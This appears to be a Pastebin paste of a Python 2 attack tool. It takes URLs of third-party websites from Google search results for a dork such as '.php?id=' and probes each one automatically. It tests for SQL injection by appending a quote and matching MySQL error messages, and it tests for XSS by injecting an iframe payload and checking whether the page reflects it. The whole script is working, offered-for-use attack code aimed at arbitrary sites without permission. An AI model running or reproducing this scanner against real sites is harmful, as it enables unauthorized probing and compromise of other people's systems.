Advertisement
Guest User

Untitled

a guest
Apr 21st, 2019
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.32 KB | None | 0 0
  1. #! /usr/bin/python2
  2. #encoding:utf-8;
  3. import urllib,sys,re,requests
  4. from optparse import OptionParser
  5. print '''\033[32m
  6.        
  7.  ____                   _
  8. / ___| ___   ___   __ _| | ___
  9. | |  _ / _ \ / _ \ / _` | |/ _ \
  10.  
  11. |=========\033[31m\033[0;0m [\033[31m REVERSE\033[0;0m ]\033[32m ========|
  12. | |_| | (_) | (_) | (_| | |  __/
  13. \____|\___/ \___/ \__, |_|\___|
  14.                   |___/
  15.                    
  16.         Google + Proxy
  17.                     \033[0;0m'''
  18. parser = OptionParser()
  19. parser.add_option("-t", "--term", dest="term", default=".php?id=", help="Term to search", metavar="FILE")
  20. parser.add_option("-s", "--sqli", action="store_true", dest="sqli", default=False, help="Scanear por SQL Injection")
  21. parser.add_option("-x", "--xss", action="store_true", dest="xss", default=False, help="Scanear por XSS")
  22. parser.add_option("-r", "--regex", dest="regex", default=False, help="pesquisar expressões regulares em cada página")
  23.  
  24. parser.add_option("--show", "--show", action="store_true", dest="show", default=False, help="Exibir URLS")
  25. (options, args) = parser.parse_args()
  26. term=options.term
  27. url="http://www.google.com/search?q=%s&num=100"%urllib.quote(term)
  28. text=requests.get(url).text
  29. urls=re.findall("<h3 class=\"r\"><a href=\"/url\?q=(.*?)\&amp;",text)
  30. print len (urls)
  31. if options.sqli:
  32.     for i in urls:
  33.         i= urllib.unquote(i)
  34.         try:
  35.             text=requests.get(i+"'").text
  36.             if re.search ("error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch&#8203;_row()|SELECT * FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error",text):
  37.                 print "\033[32m",i,"\033[0;0m - SQLI"
  38.             else:
  39.                 print i,"NO SQLI"
  40.         except Exception, ex:
  41.             pass
  42. if options.xss:
  43.     xss="<iframe src=\"http://xss/\" \">"
  44.     for i in urls:
  45.         i= urllib.unquote(i)
  46.         try:
  47.             text=requests.get(i+xss).text
  48.             if xss in text:
  49.                 print "\033[32m",i,"\033[0;0m - XSS"
  50.             else:
  51.                 print i,"NO XSS"
  52.         except Exception, ex:
  53.             pass
  54. if options.regex:
  55.     print '  Using regular expression:'+options.regex+'\n'
  56.     for i in urls:
  57.         try:
  58.             text=requests.get(i).text
  59.             print urllib.unquote(i)+':'
  60.             for r in re.findall(options.regex,text):
  61.                 print r
  62.             print ''
  63.         except Exception, ex:
  64.             print 'Erro em '+i+str(ex)
  65. elif options.show:
  66.     print '\n'.join(urls)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement